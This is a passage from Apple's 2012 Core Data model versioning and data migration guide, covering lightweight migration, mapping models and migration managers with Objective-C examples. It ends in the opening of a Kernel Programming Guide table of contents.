changes to your models such that Core Data cannot infer the mapping from source to destination, you need to create a mapping model. A mapping model parallels a managed object model, specifying how to transform objects in the source into instances appropriate for the destination. How you create a mapping model is discussed in “Mapping Overview” (page 17). ● Data migration allows you to convert data from one model (schema) to another, using mappings. The migration process itself is discussed in “The Migration Process” (page 20). How you perform a migration is discussed in “Initiating the Migration Process” (page 23). You can also customize the migration process—that is, how you programmatically determine whether migration is necessary; how you find the correct source and destination models and the appropriate mapping model to initialize the migration manager; and then how you perform the migration. You only customize the migration process if you want to initiate migration yourself. You might do this to, for example, search locations other than the application’s main bundle for models or to deal with large data sets by performing the migration in several passes using different mapping models. How you can customize the process is described in “Customizing the Migration Process” (page 26). ● If you are using iCloud, there are some constraints on what migration you can perform. If you are using iCloud, you must use lightweight migration. Other factors to be aware of are described in “Migration and iCloud” (page 30). Although Core Data makes versioning and migration easier than would typically otherwise be the case, these processes are still non-trivial in effect. You still need to carefully consider the implications of releasing and supporting different versions of your application. Prerequisites This document assumes that you are familiar with the Core Data architecture and the fundamentals of using Core Data. You should be able to identify the parts of the Core Data stack and understand the roles of the model, the managed object context, and the persistent store coordinator. You need to know how to create a managed object model, how to create and programmatically interact with parts of the Core Data stack. If you do not meet these requirements, you should first read the Core Data Programming Guide and related materials. You are strongly encouraged also to work through the Core Data Utility Tutorial . Core Data Model Versioning and Data Migration Prerequisites 2012-01-09 | © 2012 Apple Inc. All Rights Reserved. 6There are two distinct views of versioning: your perspective as a developer, and Core Data’s perspective. These may not always be the same—consider the following models. Figure 1-1 Recipes models “Version 1.0” Recipe Attributes cuisine directions name Relationships chef ingredients Chef Attributes name training Relationships recipes Ingredient Attributes amount name Relationships recipes Figure 1-2 Recipes model “Version 1.1” Recipe Attributes cuisine directions name Relationships chef ingredients Chef Attributes name training Relationships recipes Ingredient Attributes amount name Relationships recipes Recipe changes: • Add validation rules • Change User Info values • Use custom class 2012-01-09 | © 2012 Apple Inc. All Rights Reserved. 7 Understanding VersionsFigure 1-3 Recipes model “Version 2.0” Recipe Attributes directions name rating Relationships chef cuisines ingredients Chef Attributes firstName lastName Relationships recipes Ingredient Attributes amount name Relationships recipe Cuisine Attributes name Relationships recipes As a developer, your perspective is typically that a version is denoted by an identifier—a string or number, such as “9A218”, “2.0.7”, or “Version 1.1”. To support this view, managed object models have a set of identifiers (see versionIdentifiers)—typically for a single model you provide a single string (the attribute itself is a set so that if models are merged all the identifiers can be preserved). How the identifier should be interpreted is up to you, whether it represents the version number of the application, the version that was committed prior to going on vacation, or the last submission before it stopped working. Core Data, on the other hand, treats these identifiers simply as “hints”. To understand why, recall that the format of a persistent store is dependent upon the model used to create it, and that to open a persistent store you must have a model that is compatible with that used to create it. Consider then what would happen if you changed the model but not the identifier—for example, if you kept the identifier the same but removed one entity and added two others. To Core Data, the change in the schema is significant, the fact that the identifier did not change is irrelevant. Core Data’s perspective on versioning isthat it is only interested in features of the model that affect persistence. This means that for two models to be compatible: ● For each entity the following attributes must be equal: name, parent, isAbstract, and properties. className, userInfo, and validation predicates are not compared. ● For each property in each entity, the following attributes must be equal: name, isOptional, isTransient, isReadOnly, for attributes attributeType, and for relationships destinationEntity, minCount, maxCount, deleteRule, and inverseRelationship. userInfo and validation predicates are not compared. Notice that Core Data ignores any identifiers you set. In the examples above, Core Data treats version 1.0 (Figure 1-1 (page 7)) and 1.1 (Figure 1-2 (page 7)) as being compatible. Understanding Versions 2012-01-09 | © 2012 Apple Inc. All Rights Reserved. 8Rather than enumerating through all the relevant parts of a model, Core Data creates a 32-byte hash digest of the components which it compares for equality (see versionHash (NSEntityDescription) and versionHash (NSPropertyDescription)). These hashes are included in a store’s metadata so that Core Data can quickly determine whether the store format matches that of the managed object model it may use to try to open the store. (When you attempt to open a store using a given model, Core Data compares the version hashes of each of the entities in the store with those of the entities in the model, and if all are the same then the store is opened.) There is typically no reason for you to be interested in the value of a hash. There may, however, be some situations in which you have two versions of a model that Core Data would normally treat as equivalent that you want to be recognized as being different. For example, you might change the name of the class used to represent an entity, or more subtly you might keep the model the same but change the internal format of an attribute such as a BLOB—this is irrelevant to Core Data, but it is crucial for the integrity of your data. To support this, Core Data allows you to set a hash modifier for an entity or property see versionHashModifier (NSEntityDescription) and versionHashModifier (NSPropertyDescription). In the examples above, if you wanted to force Core Data to recognize that “Version 1.0” (Figure 1-1 (page 7)) and “Version 1.1” (Figure 1-2 (page 7)) of your models are different, you could set an entity modifier for the Recipe entity in the second model to change the version hash Core Data creates. Understanding Versions 2012-01-09 | © 2012 Apple Inc. All Rights Reserved. 9A managed object model that supports versioning is represented in the filesystem by a .xcdatamodeld document. An .xcdatamodeld document is a file package (see “Document Packages”) that groups versions of the model, each represented by an individual .xcdatamodel file, and an Info.plist file that contains the version information. The model is compiled into a runtime format—a file package with a .momd extension that containsindividually compiled model files with a .mom extension. You load the .momd model bundle using NSManagedObjectModel’s initWithContentsOfURL:. To add a version to a model, you start with a model such as that illustrated in Figure 2-1. Figure 2-1 Initial version of the Core Recipes model 2012-01-09 | © 2012 Apple Inc. All Rights Reserved. 10 Model File Format and VersionsTo add a version, select Editor > Add Model Version. In the sheet that appears, you enter the name of the new model version and select the model on which it should be based. To set the new model asthe current version of the model,select the .xcdatamodeld document in the project navigator, then select the new model in the pop-up menu in the Versioned Core Data Model area in the Attributes Inspector (see Figure 2-2). Figure 2-2 Version 2 of the Core Recipes model Model File Format and Versions 2012-01-09 | © 2012 Apple Inc. All Rights Reserved. 11If you just make simple changes to your model (such as adding a new attribute to an entity), Core Data can perform automatic data migration, referred to aslightweightmigration. Lightweight migration isfundamentally the same as ordinary migration, except that instead of you providing a mapping model (as described in “Mapping Overview” (page 17)), Core Data infers one from differences between the source and destination managed object models. Lightweight migration is especially convenient during early stages of application development, when you may be changing your managed object model frequently, but you don’t want to have to keep regenerating test data. You can migrate existing data without having to create a custom mapping model for every model version used to create a store that would need to be migrated. A further advantage of using lightweight migration—beyond the fact that you don’t need to create the mapping model yourself—is that if you use an inferred model and you use the SQLite store, then Core Data can perform the migration in situ (solely by issuing SQL statements). This can represent a significant performance benefit as Core Data doesn’t have to load any of your data. Because of this, you are encouraged to use inferred migration where possible, even if the mapping model you might create yourself would be trivial. Core Data Must Be Able to Infer the Mapping To perform automatic lightweight migration, Core Data needs to be able to find the source and destination managed object models itself at runtime. Core Data looks for models in the bundles returned by NSBundle’s allBundles and allFrameworks methods. If you store your models elsewhere, you must follow the steps described in “Use a Migration Manager if Models Cannot Be Found Automatically ” (page 14). Core Data must then analyze the schema changes to persistent entities and properties and generate an inferred mapping model. For Core Data to be able to generate an inferred mapping model, changes must fit an obvious migration pattern, for example: ● Simple addition of a new attribute ● Removal of an attribute ● A non-optional attribute becoming optional ● An optional attribute becoming non-optional, and defining a default value 2012-01-09 | © 2012 Apple Inc. All Rights Reserved. 12 Lightweight Migration● Renaming an entity or property If you rename an entity or property, you can set the renaming identifier in the destination model to the name of the corresponding property or entity in the source model. You set the renaming identifier in the managed object model using the Xcode Data Modeling tool’s property inspector (for either an entity or a property). For example, you can: ● Rename a Car entity to Automobile ● Rename a Car’s color attribute to paintColor The renaming identifier creates a “canonical name,” so you should set the renaming identifier to the name of the property in the source model (unless that property already has a renaming identifier). This means you can rename a property in version 2 of a model then rename it again version 3, and the renaming will work correctly going from version 2 to version 3 or from version 1 to version 3. In addition, Core Data supports: ● Adding relationships and changing the type of relationship ● You can add a new relationship or delete an existing relationship. ● Renaming a relationship (by using a renaming identifier, just like an attribute) ● Changing a relationship from a to-one to a to-many, or a non-ordered to-many to ordered (and visa-versa) ● Changing the entity hierarchy ● You can add, remove, rename entities ● You can create a new parent or child entity and move properties up and down the entity hierarchy ● You can move entities out of a hierarchy You cannot, however, merge entity hierarchies; if two existing entities do not share a common parent in the source, they cannot share a common parent in the destination Request Automatic Migration Using an Options Dictionary You request automatic lightweight migration using the options dictionary you pass in addPersistentStoreWithType:configuration:URL:options:error:, by setting values corresponding to both the NSMigratePersistentStoresAutomaticallyOption and the NSInferMappingModelAutomaticallyOption keys to YES: NSError *error = nil; Lightweight Migration Request Automatic Migration Using an Options Dictionary 2012-01-09 | © 2012 Apple Inc. All Rights Reserved. 13NSURL *storeURL = <#The URL of a persistent store#>; NSPersistentStoreCoordinator *psc = <#The coordinator#>; NSDictionary *options = [NSDictionary dictionaryWithObjectsAndKeys: [NSNumber numberWithBool:YES], NSMigratePersistentStoresAutomaticallyOption, [NSNumber numberWithBool:YES], NSInferMappingModelAutomaticallyOption, nil]; BOOL success = [psc addPersistentStoreWithType:<#Store type#> configuration:<#Configuration or nil#> URL:storeURL options:options error:&error]; if (!success) { // Handle the error. } If you want to determine in advance whether Core Data can infer the mapping between the source and destination models without actually doing the work of migration, you can use NSMappingModel’s inferredMappingModelForSourceModel:destinationModel:error: method. Thisreturnsthe inferred model if Core Data is able to create it, otherwise nil. Use a Migration Manager if Models Cannot Be Found Automatically To perform automatic migration, Core Data has to be able to find the source and destination managed object models itself at runtime (see “Core Data Must Be Able to Infer the Mapping” (page 12)). If you need to put your models in the locations not checked by automatic discovery, then you need to generate the inferred model and initiate the migration yourself using a migration manager (an instance of NSMigrationManager). The following code sample illustrates how to generate an inferred model and initiate the migration using a migration manager. The code assumes that you have implemented two methods—sourceModel and destinationModel—that return the source and destination managed object models respectively. - (BOOL)migrateStore:(NSURL *)storeURL toVersionTwoStore:(NSURL *)dstStoreURL error:(NSError **)outError { // Try to get an inferred mapping model. NSMappingModel *mappingModel = [NSMappingModel inferredMappingModelForSourceModel:[self sourceModel] destinationModel:[self destinationModel] error:outError]; Lightweight Migration Use a Migration Manager if Models Cannot Be Found Automatically 2012-01-09 | © 2012 Apple Inc. All Rights Reserved. 14// If Core Data cannot create an inferred mapping model, return NO. if (!mappingModel) { return NO; } // Create a migration manager to perform the migration. NSMigrationManager *manager = [[NSMigrationManager alloc] initWithSourceModel:[self sourceModel] destinationModel:[self destinationModel]]; BOOL success = [manager migrateStoreFromURL:storeURL type:NSSQLiteStoreType options:nil withMappingModel:mappingModel toDestinationURL:dstStoreURL destinationType:NSSQLiteStoreType destinationOptions:nil error:outError]; return success; } Lightweight Migration Use a Migration Manager if Models Cannot Be Found Automatically 2012-01-09 | © 2012 Apple Inc. All Rights Reserved. 15Note: Prior to OS X v10.7 and iOS 4, you need to use a store-specific migration manager to perform lightweight migration. You get the migration manager for a given persistent store type using migrationManagerClass, as illustrated in the following example. - (BOOL)migrateStore:(NSURL *)storeURL toVersionTwoStore:(NSURL *)dstStoreURL error:(NSError **)outError { // Try to get an inferred mapping model. NSMappingModel *mappingModel = [NSMappingModel inferredMappingModelForSourceModel:[self sourceModel] destinationModel:[self destinationModel] error:outError]; // If Core Data cannot create an inferred mapping model, return NO. if (!mappingModel) { return NO; } // Get the migration manager class to perform the migration. NSValue *classValue = [[NSPersistentStoreCoordinator registeredStoreTypes] objectForKey:NSSQLiteStoreType]; Class sqliteStoreClass = (Class)[classValue pointerValue]; Class sqliteStoreMigrationManagerClass = [sqliteStoreClass migrationManagerClass]; NSMigrationManager *manager = [[sqliteStoreMigrationManagerClass alloc] initWithSourceModel:[self sourceModel] destinationModel:[self destinationModel]]; BOOL success = [manager migrateStoreFromURL:storeURL type:NSSQLiteStoreType options:nil withMappingModel:mappingModel toDestinationURL:dstStoreURL destinationType:NSSQLiteStoreType destinationOptions:nil error:outError]; return success; } Lightweight Migration Use a Migration Manager if Models Cannot Be Found Automatically 2012-01-09 | © 2012 Apple Inc. All Rights Reserved. 16In many cases, Core Data may be able to infer how to transform data from one schema to another (see “Lightweight Migration” (page 12). If Core Data cannot infer the mapping from one model to another, you need a definition of how to perform the transformation. This information is captured in a mapping model. A mapping model is a collection of objects that specifies the transformations that are required to migrate part of a store from one version of your model to another (for example, that one entity is renamed, an attribute is added to another, and a third split into two). You typically create a mapping model in Xcode. Much as the managed object model editor allows you to graphically create the model, the mapping model editor allows you to customize the mappings between the source and destination entities and properties. Mapping Model Objects Like a managed object model, a mapping model is a collection of objects. Mapping model classes parallel the managed object model classes—there are mapping classes for a model, an entity, and a property (NSMappingModel, NSEntityMapping, and NSPropertyMapping respectively). ● An instance of NSEntityMapping specifies a source entity, a destination entity (the type of object to create to correspond to the source object) and mapping type (add, remove, copy as is, or transform). ● An instance of NSPropertyMapping specifiesthe name of the property in the source and in the destination entity, and a value expression to create the value for the destination property. The model does not contain instances of NSEntityMigrationPolicy or any of its subclasses, however amongst other attributes instance of NSEntityMapping can specify the name of an entity migration policy class (a subclass of NSEntityMigrationPolicy) to use to customize the migration. For more about entity migration policy classes, see “Custom Entity Migration Policies” (page 21). You can handle simple property migration changes by configuring a custom value expression on a property mapping directly in the mapping model editor in Xcode. For example, you can: ● Migrate data from one attribute to another. To rename amount to totalCost, enter the custom value expression for the totalCost property mapping as $source.amount. ● Apply a value transformation on a property. 2012-01-09 | © 2012 Apple Inc. All Rights Reserved. 17 Mapping OverviewTo convert temperature from Fahrenheit to Celsius, use the custom value expression ($source.temperature - 32.0) / 1.8. ● Migrate objects from one relationship to another. To rename trades to transactions, enter the custom value expression for the transactions property mapping as FUNCTION($manager, "destinationInstancesForEntityMappingNamed:sourceInstances:", "TradeToTrade", $source.trades). (This assumes the entity mapping that migrates Trade instances is named TradeToTrade.) There are six predefined keys you can reference in custom value expressions. To access these keys in source code, you use the constants as declared. To access them in custom value expression strings in the mapping model editor in Xcode, follow the syntax rules outlined in the predicate format string syntax guide and refer to them as: NSMigrationManagerKey: $manager NSMigrationSourceObjectKey: $source NSMigrationDestinationObjectKey: $destination NSMigrationEntityMappingKey: $entityMapping NSMigrationPropertyMappingKey: $propertyMapping NSMigrationEntityPolicyKey: $entityPolicy Mapping Overview Mapping Model Objects 2012-01-09 | © 2012 Apple Inc. All Rights Reserved. 18Creating a Mapping Model in Xcode From the File menu, you select New File and in the New File pane select Design > Mapping Model. In the following pane, you select the source and destination models. When you click Finish, Xcode creates a new mapping model that contains as many default mappings as it can deduce from the source and destination. For example, given the model files shown in Figure 1-1 (page 7) and Figure 1-2 (page 7), Xcode creates a mapping model as shown in Figure 4-1. Figure 4-1 Mapping model for versions 1-2 of the Core Recipes models Reserved words in custom value expressions: If you use a custom value expression, you must escape reserved words such as SIZE, FIRST, and LAST using a # (for example, $source.#size). Mapping Overview Creating a Mapping Model in Xcode 2012-01-09 | © 2012 Apple Inc. All Rights Reserved. 19During migration, Core Data creates two stacks, one for the source store and one for the destination store. Core Data then fetches objects from the source stack and inserts the appropriate corresponding objects into the destination stack. Note that Core Data must re-create objects in the new stack. Overview Recall that stores are bound to their models. Migration is required when the model doesn't match the store. There are two areas where you get default functionality and hooks for customizing the default behavior: ● When detecting version skew and initializing the migration process. ● When performing the migration process. To perform the migration processrequirestwo Core Data stacks—which are automatically created for you—one for the source store, one for the destination store. The migration process is performed in 3 stages, copying objects from one stack to another. Requirements for the Migration Process Migration of a persistent store is performed by an instance of NSMigrationManager. To migrate a store, the migration manager requires several things: ● The managed object model for the destination store. This is the persistent store coordinator’s model. ● A managed object model that it can use to open the existing store. ● Typically, a mapping model that defines a transformation from the source (the store’s) model to the destination model. You don’t need a mapping model if you’re able to use lightweight migration—see “Lightweight Migration” (page 12). 2012-01-09 | © 2012 Apple Inc. All Rights Reserved. 20 The Migration ProcessYou can specify custom entity migration policy classes to customize the migration of individual entities. You specify custom migration policy classesin the mapping model (note the “Custom Entity Policy Name” text field in Figure 4-1 (page 19)). Custom Entity Migration Policies If your new model simply adds properties or entities to your existing model, there may be no need to write any custom code. If the transformation is more complex, however, you might need to create a subclass of NSEntityMigrationPolicy to perform the transformation; for example: ● If you have a Person entity that also includes address information that you want to split into a separate Address entity, but you want to ensure uniqueness of each Address. ● If you have an attribute that encodes data in a string format that you want to change to a binary representation. The methods you override in a custom migration policy correspond to the different phases of the migration process—these are called out in the description of the process given in “Three-Stage Migration.” Three-Stage Migration The migration process itself is in three stages. It uses a copy of the source and destination models in which the validation rules are disabled and the class of all entities is changed to NSManagedObject. To perform the migration, Core Data sets up two stacks, one for the source store and one for the destination store. Core Data then processes each entity mapping in the mapping model in turn. It fetches objects of the current entity into the source stack, creates the corresponding objects in the destination stack, then recreates relationships between destination objects in a second stage, before finally applying validation constraints in the final stage. Before a cycle starts, the entity migration policy responsible for the current entity is sent a beginEntityMapping:manager:error: message. You can override this method to perform any initialization the policy requires. The process then proceeds as follows: 1. Create destination instances based on source instances. At the beginning of this phase, the entity migration policy is sent a createDestinationInstancesForSourceInstance:entityMapping:manager:error:message; at the end it is sent a endInstanceCreationForEntityMapping:manager:error: message. In this stage, only attributes (not relationships) are set in the destination objects. The Migration Process Custom Entity Migration Policies 2012-01-09 | © 2012 Apple Inc. All Rights Reserved. 21Instances of the source entity are fetched. For each instance, appropriate instances of the destination entity are created (typically there is only one) and their attributes populated (for trivial cases, name = $source.name). A record is kept of the instances per entity mapping since this may be useful in the second stage. 2. Recreate relationships. At the beginning of this phase, the entity migration policy is sent a createRelationshipsForDestinationInstance:entityMapping:manager:error: message; at the end it is sent a endRelationshipCreationForEntityMapping:manager:error: message. For each entity mapping (in order), for each destination instance created in the first step any relationships are recreated. 3. Validate and save. In this phase, the entity migration policy is sent a performCustomValidationForEntityMapping:manager:error: message. Validation rules in the destination model are applied to ensure data integrity and consistency, and then the store is saved. At the end of the cycle, the entity migration policy issent an endEntityMapping:manager:error: message. You can override this method to perform any clean-up the policy needs to do. Note that Core Data cannot simply fetch objects into the source stack and insert them into the destination stack, the objects must be re-created in the new stack. Core Data maintains “association tables” which tell it which object in the destination store isthe migrated version of which object in the source store, and vice-versa. Moreover, because it doesn't have a means to flush the contexts it is working with, you may accumulate many objects in the migration manager as the migration progresses. If this presents a significant memory overhead and hence gives rise to performance problems, you can customize the process as described in “Multiple Passes—Dealing With Large Datasets” (page 29). The Migration Process Three-Stage Migration 2012-01-09 | © 2012 Apple Inc. All Rights Reserved. 22This chapter describes how to initiate the migration process and how the default migration process works. It does not describe customizing the migration process—this is described in “Customizing the Migration Process” (page 26). Initiating the Migration Process When you initialize a persistent store coordinator, you assign to it a managed object model (see initWithManagedObjectModel:); the coordinator uses that model to open persistent stores. You open a persistent store using addPersistentStoreWithType:configuration:URL:options:error:. How you use this method, however, depends on whether your application uses model versioning and on how you choose to support migration—whether you choose to use the default migration process or custom version skew detection and migration bootstrapping. The following list describes different scenarios and what you should do in each: ● Your application does not support versioning You use addPersistentStoreWithType:configuration:URL:options:error: directly. If for some reason the coordinator’s model is not compatible with the store schema (that is, the version hashes current model’s entities do not equal those in the store’s metadata), the coordinator detects this, generates an error, and addPersistentStoreWithType:configuration:URL:options:error: returns NO. You must deal with this error appropriately. ● Your application does support versioning and you choose to use either the lightweight or the default migration process You use addPersistentStoreWithType:configuration:URL:options:error: as described in “Lightweight Migration” (page 12) and “The Default Migration Process” (page 24) respectively. The fundamental difference from the non-versioned approach is that you instruct the coordinator to automatically migrate the store to the current model version by adding an entry to the options dictionary where the key is NSMigratePersistentStoresAutomaticallyOption and the value is an NSNumber object that represents YES. ● Your application does support versioning and you choose to use custom version skew detection and migration bootstrapping 2012-01-09 | © 2012 Apple Inc. All Rights Reserved. 23 Initiating the Migration ProcessBefore opening a store you use isConfiguration:compatibleWithStoreMetadata: to check whether its schema is compatible with the coordinator’s model: ● If it is, you use addPersistentStoreWithType:configuration:URL:options:error: to open the store directly; ● If it is not, you must migrate the store first then open it (again using addPersistentStoreWithType:configuration:URL:options:error:). You could simply use addPersistentStoreWithType:configuration:URL:options:error: to check whether migration is required, however this is a heavyweight operation and inefficient for this purpose. It is important to realize that there are two orthogonal concepts: 1. You can execute custom code during the migration. 2. You can have custom code for version skew detection and migration bootstrapping. The migration policy classes allow you to customize the migration of entities and properties in a number of ways, and these are typically all you need. You might, however, use custom skew detection and migration bootstrapping so that you can take control of the migration process. For example, if you have very large stores you could set up a migration manager with the two data models, and then use a series of mapping models to migrate your data into your destination store (if you use the same destination URL for each invocation, Core Data adds new objects to the existing store). This allows the framework (and you) to limit the amount of data in memory during the conversion process. The Default Migration Process To open a store and perform migration (if necessary), you use addPersistentStoreWithType:configuration:URL:options:error: and add to the options dictionary an entry where the key is NSMigratePersistentStoresAutomaticallyOption and the value is an NSNumber object that represents YES. Your code looks similar to the following example: Listing 6-1 Opening a store using automatic migration NSError *error; NSPersistentStoreCoordinator *psc = <#The coordinator#>; NSURL *storeURL = <#The URL of a persistent store#>; NSDictionary *optionsDictionary = [NSDictionary dictionaryWithObject:[NSNumber numberWithBool:YES] Initiating the Migration Process The Default Migration Process 2012-01-09 | © 2012 Apple Inc. All Rights Reserved. 24forKey:NSMigratePersistentStoresAutomaticallyOption]; NSPersistentStore *store = [psc addPersistentStoreWithType:<#Store type#> configuration:<#Configuration or nil#> URL:storeURL options:optionsDictionary error:&error]; If the migration proceeds successfully, the existing store at storeURL is renamed with a “~” suffix before any file extension and the migrated store saved to storeURL. In its implementation of addPersistentStoreWithType:configuration:URL:options:error: Core Data does the following: 1. Tries to find a managed object model that it can use to open the store. Core Data searches through your application’s resources for models and tests each in turn. If it cannot find a suitable model, Core Data returns nil and a suitable error. 2. Tries to find a mapping model that maps from the managed object model for the existing store to that in use by the persistent store coordinator. Core Data searches through your application’s resources for available mapping models and tests each in turn. If it cannot find a suitable mapping, Core Data returns NO and a suitable error. Note that you must have created a suitable mapping model in order for this phase to succeed. 3. Creates instances of the migration policy objects required by the mapping model. Note that even if you use the default migration process you can customize the migration itself using custom migration policy classes. Initiating the Migration Process The Default Migration Process 2012-01-09 | © 2012 Apple Inc. All Rights Reserved. 25You only customize the migration process if you want to initiate migration yourself. You might do this to, for example, to search for models in locations other than the application’s main bundle, or to deal with large data sets by performing the migration in several passes using different mapping models (see “Multiple Passes—Dealing With Large Datasets” (page 29)). Is Migration Necessary Before you initiate a migration process, you should first determine whether it is necessary. You can check with NSManagedObjectModel’s isConfiguration:compatibleWithStoreMetadata: asillustrated in Listing 7-1 (page 26). Listing 7-1 Checking whether migration is necessary NSPersistentStoreCoordinator *psc = /* get a coordinator */ ; NSString *sourceStoreType = /* type for the source store, or nil if not known */ ; NSURL *sourceStoreURL = /* URL for the source store */ ; NSError *error = nil; NSDictionary *sourceMetadata = [NSPersistentStoreCoordinator metadataForPersistentStoreOfType:sourceStoreType URL:sourceStoreURL error:&error]; if (sourceMetadata == nil) { // deal with error } NSString *configuration = /* name of configuration, or nil */ ; NSManagedObjectModel *destinationModel = [psc managedObjectModel]; BOOL pscCompatibile = [destinationModel 2012-01-09 | © 2012 Apple Inc. All Rights Reserved. 26 Customizing the Migration ProcessisConfiguration:configuration compatibleWithStoreMetadata:sourceMetadata]; if (pscCompatibile) { // no need to migrate } Initializing a Migration Manager You initialize a migration manager using initWithSourceModel:destinationModel:; you therefore first need to find the appropriate model for the store. You get the model for the store using NSManagedObjectModel’s mergedModelFromBundles:forStoreMetadata:. If this returns a suitable model, you can create the migration manager as illustrated in Listing 7-2 (page 27) (this code fragment continues from Listing 7-1 (page 26)). Listing 7-2 Initializing a Migration Manager NSArray *bundlesForSourceModel = /* an array of bundles, or nil for the main bundle */ ; NSManagedObjectModel *sourceModel = [NSManagedObjectModel mergedModelFromBundles:bundlesForSourceModel forStoreMetadata:sourceMetadata]; if (sourceModel == nil) { // deal with error } MyMigrationManager *migrationManager = [[MyMigrationManager alloc] initWithSourceModel:sourceModel destinationModel:destinationModel]; Customizing the Migration Process Initializing a Migration Manager 2012-01-09 | © 2012 Apple Inc. All Rights Reserved. 27Performing a Migration You migrate a store using NSMigrationManager’s migrateStoreFromURL:type:options:withMappingModel:toDestinationURL:destinationType:destinationOptions:error:. To use this method you need to marshal a number of parameters; most are straightforward, the only one that requires some work is the discovery of the appropriate mapping model (which you can retrieve using NSMappingModel’s mappingModelFromBundles:forSourceModel:destinationModel:method). This is illustrated in Listing 7-3 (page 28) (a continuation of the example shown in Listing 7-2 (page 27)). Listing 7-3 Performing a Migration NSArray *bundlesForMappingModel = /* an array of bundles, or nil for the main bundle */ ; NSError *error = nil; NSMappingModel *mappingModel = [NSMappingModel mappingModelFromBundles:bundlesForMappingModel forSourceModel:sourceModel destinationModel:destinationModel]; if (mappingModel == nil) { // deal with the error } NSDictionary *sourceStoreOptions = /* options for the source store */ ; NSURL *destinationStoreURL = /* URL for the destination store */ ; NSString *destinationStoreType = /* type for the destination store */ ; NSDictionary *destinationStoreOptions = /* options for the destination store */ ; BOOL ok = [migrationManager migrateStoreFromURL:sourceStoreURL type:sourceStoreType options:sourceStoreOptions withMappingModel:mappingModel toDestinationURL:destinationStoreURL destinationType:destinationStoreType destinationOptions:destinationStoreOptions Customizing the Migration Process Performing a Migration 2012-01-09 | © 2012 Apple Inc. All Rights Reserved. 28error:&error]; Multiple Passes—Dealing With Large Datasets The basic approach shown above is to have the migration manager take two models, and then iterate over the steps (mappings) provided in a mapping model to move the data from one side to the next. Because Core Data performs a "three stage" migration—where it creates all of the data first, and then relates the data in a second stage—it must maintain “association tables" (which tell it which object in the destination store is the migrated version of which object in the source store, and vice-versa). Further, because it doesn't have a means to flush the contexts it is working with, it means you'll accumulate many objects in the migration manager as the migration progresses. In order to address this, the mapping model is given as a parameter of the migrateStoreFromURL:type:options:withMappingModel:toDestinationURL:destinationType:destinationOptions:error: call itself. What this means is that if you can segregate parts of your graph (as far as mappings are concerned) and create them in separate mapping models, you could do the following: 1. Get the source and destination data models 2. Create a migration manager with them 3. Find all of your mapping models, and put them into an array (in some defined order, if necessary) 4. Loop through the array, and call migrateStoreFromURL:type:options:withMappingModel:toDestinationURL:destinationType:destinationOptions:error: with each of the mappings This allows you to migrate "chunks" of data at a time, while not pulling in all of the data at once. From a "tracking/showing progress” point of view, that basically just creates another layer to work from, so you'd be able to determine percentage complete based on number of mapping models to iterate through (and then further on the number of entity mappings in a model you've already gone through). Customizing the Migration Process Multiple Passes—Dealing With Large Datasets 2012-01-09 | © 2012 Apple Inc. All Rights Reserved. 29If you are using iCloud, you can only migrate the contents of a store using automatic lightweight migration. To migrate a persistent store that is in iCloud, you add the store to a persistent store coordinator using addPersistentStoreWithType:configuration:URL:options:error: and pass at least the following options in the options dictionary: NSDictionary *optionsDictionary = [[NSDictionary alloc] initWithObjectsAndKeys: [NSNumber numberWithBool:YES], NSInferMappingModelAutomaticallyOption, [NSNumber numberWithBool:YES], NSMigratePersistentStoresAutomaticallyOption, <#Ubiquitous content name#>, NSPersistentStoreUbiquitousContentNameKey, nil]; Changes to a store are recorded and preserved independently for each model version that is associated with a given NSPersistentStoreUbiquitousContentNameKey. A persistent store configured with a given NSPersistentStoreUbiquitousContentNameKey only syncs data with a store on another device data if the model versions match. If you migrate a persistent store configured with a NSPersistentStoreUbiquitousContentNameKey option to a new model version, the store’s history of changes originating from the current device will also be migrated and then merged with any other devices configured with that new model version. Any changes from stores using the new version are also merged in. Existing changes can not, however, be migrated to a new model version if the migration is performed using a custom mapping model. 2012-01-09 | © 2012 Apple Inc. All Rights Reserved. 30 Migration and iCloudThis table describes the changes to Core Data Model Versioning and Data Migration Programming Guide . Date Notes 2012-01-09 Updated to describe use of migration with iCloud. 2010-02-24 Added further details to the section on Mapping Model Objects. 2009-06-04 Added an article to describe the lightweight migration feature. 2009-03-05 First version for iOS. 2008-02-08 Added a note about migrating stores from OS X v10.4 (Tiger). New document that describes managed object model versioning and Core Data migration. 2007-05-18 2012-01-09 | © 2012 Apple Inc. All Rights Reserved. 31 Document Revision HistoryApple Inc. © 2012 Apple Inc. All rights reserved. No part of this publication may be reproduced, stored in a retrievalsystem, or transmitted, in any form or by any means, mechanical, electronic, photocopying, recording, or otherwise, without prior written permission of Apple Inc., with the following exceptions: Any person is hereby authorized to store documentation on a single computer for personal use only and to print copies of documentation for personal use provided that the documentation contains Apple’s copyright notice. No licenses, express or implied, are granted with respect to any of the technology described in this document. Apple retains all intellectual property rights associated with the technology described in this document. This document is intended to assist application developers to develop applications only for Apple-labeled computers. Apple Inc. 1 Infinite Loop Cupertino, CA 95014 408-996-1010 Apple, the Apple logo, Cocoa, Mac, OS X, Tiger, and Xcode are trademarks of Apple Inc., registered in the U.S. and other countries. iCloud is a service mark of Apple Inc., registered in the U.S. and other countries. iOS is a trademark or registered trademark of Cisco in the U.S. and other countries and is used under license. Even though Apple has reviewed this document, APPLE MAKES NO WARRANTY OR REPRESENTATION, EITHER EXPRESS OR IMPLIED, WITH RESPECT TO THIS DOCUMENT, ITS QUALITY, ACCURACY, MERCHANTABILITY, OR FITNESS FOR A PARTICULAR PURPOSE.ASARESULT, THISDOCUMENT IS PROVIDED “AS IS,” AND YOU, THE READER, ARE ASSUMING THE ENTIRE RISK AS TO ITS QUALITY AND ACCURACY. IN NO EVENT WILL APPLE BE LIABLE FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL,OR CONSEQUENTIAL DAMAGES RESULTING FROM ANY DEFECT OR INACCURACY IN THIS DOCUMENT, even if advised of the possibility of such damages. THE WARRANTY AND REMEDIES SET FORTH ABOVE ARE EXCLUSIVE AND IN LIEU OF ALL OTHERS, ORAL OR WRITTEN, EXPRESS OR IMPLIED. No Apple dealer, agent, or employee is authorized to make any modification, extension, or addition to this warranty. Some states do not allow the exclusion or limitation of implied warranties or liability for incidental or consequential damages, so the above limitation or exclusion may not apply to you. This warranty gives you specific legal rights, and you may also have other rights which vary from state to state. Kernel Programming GuideContents About This Document 9 Who Should Read This Document 9 Road Map 9 Other Apple Publications 11 Mach API Reference 11 Information on the Web 12 Keep Out 13 Why You Should Avoid Programming in the Kernel 13 Kernel Architecture Overview 14 Darwin 15 Architecture 16 Mach 17 BSD 18 I/O Kit 19 Kernel Extensions 19 The Early Boot Process 21 Boot ROM 21 The Boot Loader 21 Rooting 22 Security Considerations 24 Security Implications of 